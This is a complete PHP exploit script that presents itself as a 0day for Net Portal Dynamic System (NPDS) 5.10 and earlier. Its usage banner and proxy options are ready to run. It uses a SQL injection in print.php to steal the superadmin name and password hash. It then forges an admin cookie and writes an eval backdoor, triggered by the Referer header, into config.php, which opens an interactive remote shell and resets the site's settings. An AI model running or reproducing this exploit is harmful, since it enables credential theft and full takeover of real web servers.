Net Portal Dynamic System (NPDS) <= 5.10 Remote Code Execution 0day



#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);

# Advisory soon
if($argc < 3)
{
print("
TITLE | Net Portal Dynamic System (NPDS) <= 5.10 Remote Code Execution 0day
AUTHOR | DarkFig \/ http://www.acid-root.new.fr \/ gmdarkfig@xxxxxxxxx
NOTE | Works regardless of php settings
USAGE | $argv[0] -url <url> [Options]
OPTIONS | -proxy If you wanna use a proxy <proxyhost:proxyport>
| -proxyauth Basic authentification <proxyuser:proxypwd>
");exit(1);
}

$url = getparam('url',1);
$pro = getparam('proxy');
$pra = getparam('proyauth');

$xpl = new phpsploit();
$xpl->agent('Mozilla Firefox');
if($pro) $xpl->proxy($pro);
if($pra) $xpl->proxyauth($pra);


# +print.php (SQL INJECTION)
# |
# 124. } elseif (!empty($lid)) {
# 125. settype ($lid, "integer");
# 126. PrintPage("links",$DB, $lid);
#
# 30. if ($oper=="links") {
# 31. $result=mysql_query("select url, title, description, date from ".$DB."links_links where lid='$sid'");
# 32. list($url, $title, $description, $time)=mysql_fetch_row($result);
# 40. if ($DB) {
# 41. $remp=meta_lang(aff_code(aff_langue(ob_get_contents())));
#
$aid = 'CONCAT(CHAR(66,69,71,73,78,85,83,82),(SELECT%20aid%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,85,83,82))';
$pwd = 'CONCAT(CHAR(66,69,71,73,78,80,87,68),(SELECT%20pwd%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,80,87,68))';


# +grab_globals.php (VARS OVERWRITE / "url_protect" FILTER EVASION)
# |
# 78. if (!empty($_GET)) {
# 79. if (!$magicquotesGPC)
# 80. array_walk($_GET,'addslashes_GPC');
# 81. reset($_GET);
# 82. array_walk($_GET,'url_protect');
# 83. extract($_GET, EXTR_OVERWRITE);
#
# 106. if (!empty($_COOKIE)) {
# 107. if (!$magicquotesGPC)
# 108. array_walk($_COOKIE,'addslashes_GPC');
# 109. reset($_COOKIE);
# 110. array_walk($_COOKIE,'url_protect');
# 111. extract($_COOKIE, EXTR_OVERWRITE);
#
# 132. if (!empty($_FILES)) {
# 133. while (list($key,$value)=each($_FILES)) {
# 134. $$key=$value['tmp_name'];
# 135. }
#
$xpl->get($url."print.php?_FILES[DB][tmp_name]=links_links%20union%20select%20-1,$aid,$pwd,1%20ORDER%20BY%20url%23&lid=1");

if (preg_match("#BEGINUSR(.*)ENDUSR#",$xpl->getcontent(),$aid)
AND preg_match("#BEGINPWD(.*)ENDPWD#",$xpl->getcontent(),$pwd))
print "\nAdmin_aid: $aid[1]\nAdmin_pwd: $pwd[1]";
else die("Exploit failed");

# +auth.inc.php (ADMIN AUTH)
# |
# 59. if ($admin!="") {
# 60. $Xadmin = base64_decode($admin);
# 61. $Xadmin = explode(":", $Xadmin);
# 62. $aid = urlencode($Xadmin[0]);
# 63. $AIpwd = $Xadmin[1];
# 64. if ($aid=="" or $AIpwd=="") {
# 65. Admin_Alert("Null Aid or Passwd");
# 66. }
# 67. $result=mysql_query("select pwd, radminsuper from authors where aid='$aid'");
# 68. if (!$result) {
# 69. Admin_Alert("DB not ready #2 : $aid / $AIpwd | ");
# 70. } else {
# 71. list($AIpass, $Xsuper_admintest)=mysql_fetch_row($result);
# 72. if (md5($AIpass) == $AIpwd and $AIpass != "") {
# 73. $admintest = true;
# 74. $super_admintest = $Xsuper_admintest;
# 75. } else {
# 76. Admin_Alert("Password in Cookies not Good #1 : $aid / $AIpwd | ");
# 77. }
# 78. }
# 79. unset ($AIpass);
# 80. unset ($AIpwd);
# 81. unset ($Xadmin);
# 82. unset ($Xsuper_admintest);
# 83. }
#
$cok = urlencode(base64_encode($aid[1].':'.md5($pwd[1])));
$xpl->addcookie('admin',$cok);
print "\nAdmin_cookie: admin=$cok\n\$shell> ";


# +admin/settings.php (CODE EXECUTION)
# |
# 758. switch($op) {
# 763. case "ConfigSave":
# 764. include("admin/settings_save.php");
# 765. ConfigSave($xparse,$xsitename,$xnuke_url,$xsite_logo,$xslogan,$xstartdate,$xadminmail,
# $xtop,$xstoryhome,$xoldnum,$xultramode,$xanonpost,$xDefault_Theme,$xbanners,$xmyIP,
# $xfoot1,$xfoot2,$xfoot3,$xfoot4,$xbackend_title,$xbackend_language,$xbackend_image,
# $xbackend_width,$xbackend_height,$xlanguage,$xlocale,$xperpage,$xpopular,$xnewlinks,
# $xtoplinks,$xlinksresults,$xlinks_anonaddlinklock,$xnotify,$xnotify_email,$xnotify_subject,
# $xnotify_message,$xnotify_from,$xmoderate,$xcommentlimit,$xanonymous,$xmaxOptions,$xBarScale,
# $xsetCookies,$xtipath,$xuserimg,$xadminimg,$xadmingraphic,$xsite_font,$xadmart,$xminpass,
# $xhttpref,$xhttprefmax,$xpollcomm,$xlinkmainlogo,$xstart_page,$xsmilies,$xOnCatNewLink,
# $xEmailFooter,$xshort_user,$xgzhandler,$xrss_host_verif,$xcache_verif,$xmember_list,
# $xdownload_cat,$xmod_admin_news,$xgmt,$xAutoRegUser,$xTitlesitename,$xfilemanager,
# $xshort_review,$xnot_admin_count,$xadmin_cook_duration,$xuser_cook_duration,$xtroll_limit,
# $xsubscribe,$xCloseRegUser,$xshort_menu_admin,$xmail_fonction,$xmemberpass,$xshow_user,
# $xdns_verif,$xmember_invisible,$xavatar_size,$xlever,$xcoucher,$xmulti_langue,$xadmf_ext,
# $xsavemysql_size,$xsavemysql_mode,$xtiny_mce);
# 766. break;
# 767. }
#
# +admin/settings_save.php
# |
# 142. function ConfigSave(...
# 212. $file = fopen("config.php","w");
# 401. $content .= "\$perpage = $xperpage;\n";
# 402. $content .= "\$popular = $xpopular;\n";...
# 614. fwrite($file, $content);
# 615. fclose($file);
#
$PHPCODE = 'if(isset($_SERVER[HTTP_REFERER])) eval($_SERVER[HTTP_REFERER])';


# Default config value
# You can get the config here ./admin.php?op=Configure
#
$config = array(
frmdt_url => $url.'admin.php',"xparse" => "1","xgzhandler" => "0","xfilemanager" => "0","xadmin_cook_duration" => "240",
"xuser_cook_duration" => "8000","xsitename" => "NPDS SABLE","xTitlesitename" => "NPDS - générateur de portail Php / Mysql en Open Source",
"xnuke_url" => "http://www.npds.org","xsite_logo"; => "themes/Permanent-Double-Side/images/npds_p.gif","xslogan" => "NPDS SABLE",
"xstartdate" => "01/10/2005","xtop" => "10;$PHPCODE","xstoryhome" => "10","xoldnum" => "10","xultramode" => "1","xanonymous" => "Anonyme",
"xanonpost" => "0","xtroll_limit" => "6","xmod_admin_news" => "0","xnot_admin_count" => "1","xDefault_Theme" => "Permanent-Double-Side",
"xstart_page" => "index.php?op=edito","xlanguage" => "french","xmulti_langue" => "false","xlocale" => "french","xlever" => "08:00",
"xcoucher" => "20:00","xgmt" => "","xbanners" => "0","xmyIP" => "1.1.1.100","xfoot4" => "","xbackend_title" => "NPDS","xbackend_language" => "fr-FR",
"xfoot1" => "Tous les Logos et Marques sont déposés, les commentaires sont sous la responsabilité de ceux qui les ont publiés, le reste @ npds.org",
"xfoot2" => "Ce site a été construit avec <a href=http://www.npds.org CLASS=NOIR>NPDS</a>, un système de portail écrit en PHP. Ce logiciel est sous <a href=http://www.gnu.org CLASS=NOIR>GNU/GPL license</a>.",
"xfoot3" => "syndication de vos News via <a href=http://www.votre_site/backend.php CLASS=NOIR>www.votre_site/backend.php</a> -::- + encore via le NPDS Push Infos System",
"xbackend_image" => "","xbackend_width" => "88","xbackend_height" => "31","xperpage" => "10","xpopular" => "10","xnewlinks" => "10",
"xtoplinks" => "10","xlinksresults" => "10","xlinks_anonaddlinklock" => "0","xlinkmainlogo" => "0","xOnCatNewLink" => "1",
"xadminmail" => "","xmail_fonction" => "1","xEmailFooter" => "","xnotify" => "0","xnotify_email" => "membre@xxxxxxx","xnotify_subject" => "Nouvelle soumission",
"xnotify_message" => "Le site a recu une nouvelle soumission !","xnotify_from" => "webmaster","xmoderate" => "1","xcommentlimit" => "4096",
"xmaxOptions" => "12","xBarScale" => "1","xsetCookies" => "1","xpollcomm" => "1","xtipath" => "themes/Permanent-Double-Side/images/topics/",
"xuserimg" => "/themes/Permanent-Double-Side/images/menu/","xadminimg" => "images/admin/","xadmingraphic" => "0","xadmf_ext" => "gif",
"xshort_menu_admin" => "1","xsite_font" => "Verdana, Arial, Helvetica","xadmart" => "10","xminpass" => "5","xshow_user" => "20","xsmilies" => "1",
"xavatar_size" => "60*80","xshort_user" => "0","xAutoRegUser" => "1","xmemberpass" => "1","xsubscribe" => "1","xmember_invisible" => "0",
"xCloseRegUser" => "0","xhttpref" => "1","xhttprefmax" => "1000","xmember_list" => "0","xdownload_cat" => "Tous","xshort_review" => "0",
"xrss_host_verif" => "false","xcache_verif" => "true","xdns_verif" => "false","xsavemysql_size" => "256","xsavemysql_mode" => "1",
"xtiny_mce" => "true","op" => "ConfigSave");

# 0_o my website has been reset
#
$xpl->formdata($config);

while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))) # $cmd -> );print($dbpass);//
{
$xpl->addheader("Referer","@system($cmd);die;");
$xpl->get($url.'config.php');
print $xpl->getcontent()."\n\$shell> ";
}

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}
?>



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